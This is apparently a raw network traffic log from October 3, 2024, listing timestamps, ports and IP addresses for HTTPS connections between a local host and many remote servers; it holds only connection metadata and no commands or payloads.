Oct 3, 2024 10:41:44.777180910 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.777226925 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.778316021 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.778333902 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.894346952 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.894371986 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.894381046 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.894438982 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.894459009 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.894474983 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.894514084 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.942635059 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.942910910 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.942935944 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.943921089 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.943989038 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.945440054 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.945501089 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.945856094 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.945863008 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.951944113 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.952235937 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.952256918 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.953315020 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.953387022 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.954353094 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.954431057 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.954555988 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.954571962 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.978615046 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.978627920 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.978673935 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.978688955 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.978744030 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.994472027 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994482994 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994503975 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994514942 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994529009 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994538069 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.994553089 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.994609118 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.008990049 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.009000063 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.009023905 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.009032011 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.009069920 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.009087086 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.009149075 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.046144962 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.046313047 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:45.058644056 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.058995962 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.059061050 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.059370995 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.059392929 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.059401989 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.059437037 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.061072111 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.061090946 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.061151028 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.061554909 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.061569929 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.071012974 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.071031094 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.071048975 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.071059942 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.071127892 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.071139097 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.071182966 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.073836088 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.073898077 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.085637093 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.085654974 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.085695982 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.085715055 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.085756063 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.085771084 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.109400988 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.109425068 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.109450102 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.109483957 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.109494925 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.109533072 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.109551907 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.111955881 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.112266064 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.112274885 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.113281012 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.113356113 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.113781929 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.113843918 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.113976955 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.113984108 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.133258104 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:45.134231091 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:45.134291887 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:45.135389090 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:45.135405064 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:45.135440111 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:45.135458946 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:45.151700974 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.151937008 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.151946068 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.152975082 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.153033972 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.153620005 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.153681993 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.153820038 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.153827906 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.158762932 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.158787966 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.158829927 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.158859015 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.158866882 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.158895016 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.160489082 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.160510063 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.160600901 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.160600901 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.160610914 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.173501015 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.173537970 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.173585892 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.173597097 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.173634052 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.184010029 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.184036016 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.184289932 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.184309959 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.185544968 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.185607910 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.185616016 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.194354057 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.194374084 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.194452047 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.194459915 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.204632044 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.204680920 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.204705954 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.204722881 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.204755068 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.217632055 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.217670918 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.217705965 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.217720985 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.217740059 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.220205069 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.220256090 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.220267057 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.220290899 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.220338106 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.234395981 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.241694927 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.241715908 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.256603003 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.256642103 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.256753922 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.256753922 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.256764889 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.256853104 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.256956100 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257004023 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.257011890 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257045031 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257091045 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.257110119 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257810116 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257839918 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.257889032 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.257894993 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.258002996 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.259872913 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.260864019 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:45.260888100 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.261229992 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.261373997 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.261740923 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:45.261801004 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.262157917 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:45.272672892 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.272759914 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.272803068 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.274315119 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:45.274327040 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:45.276709080 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.276729107 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.276839972 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.277188063 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.277199030 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.280447006 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.280736923 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.280750036 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.281090021 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.281652927 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.281712055 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.281809092 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.281832933 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.294473886 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.294994116 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.296408892 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.296425104 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.296582937 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.296602011 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.296813011 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.296878099 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.297557116 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.297614098 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.297996998 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.298064947 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.298322916 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.298331022 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.300291061 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.300364971 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.300843954 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.300929070 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.301019907 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.301031113 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.307400942 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.310024023 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.310053110 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.310108900 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.310534954 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:45.310549974 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:45.314974070 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.315277100 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.315300941 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.316642046 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.316713095 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.317174911 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.317262888 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.317459106 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.317482948 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.321058035 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.321063995 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.321089983 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.349102974 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.349138021 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.349200964 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.349214077 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.349241018 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.349257946 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.349308968 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.352324963 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.360368967 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:45.360405922 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:45.399502039 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:45.404985905 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:45.405016899 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:45.406068087 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:45.406119108 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:45.406645060 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:45.406707048 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:45.406832933 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:45.406841040 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:45.426712990 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.426985979 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.427009106 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.428086042 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.428141117 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.428589106 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.428653955 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.428765059 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.428776979 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.435247898 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.435359955 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.502501965 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.502532959 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.502594948 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.502600908 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.502656937 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.504147053 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:45.504164934 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:45.527403116 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.527477980 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.540020943 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.540100098 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.540153027 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:45.541428089 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:45.541452885 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:45.543684006 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.544058084 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.544069052 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.544421911 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.544847012 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.544912100 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.545130968 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.546190023 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.547019958 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.547070980 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.547262907 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:45.566632032 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.566706896 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.566740036 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.568062067 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:45.568082094 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:45.587405920 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.613256931 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.613498926 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.613559008 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.614414930 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:45.614423990 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:45.627269030 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.627279043 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.627306938 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655761003 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655792952 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655813932 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655831099 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.655854940 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655868053 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.655881882 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655900955 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655925989 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.655932903 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.655955076 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.655970097 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.673752069 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.674051046 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.674105883 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.674458027 CEST	50015	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.674477100 CEST	443	50015	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.685384035 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:45.685400963 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:45.685471058 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:45.685925961 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:45.685956001 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:45.686083078 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:45.686158895 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:45.686167955 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:45.686491966 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:45.686506987 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:45.689901114 CEST	443	50004	157.240.0.6	192.168.2.4
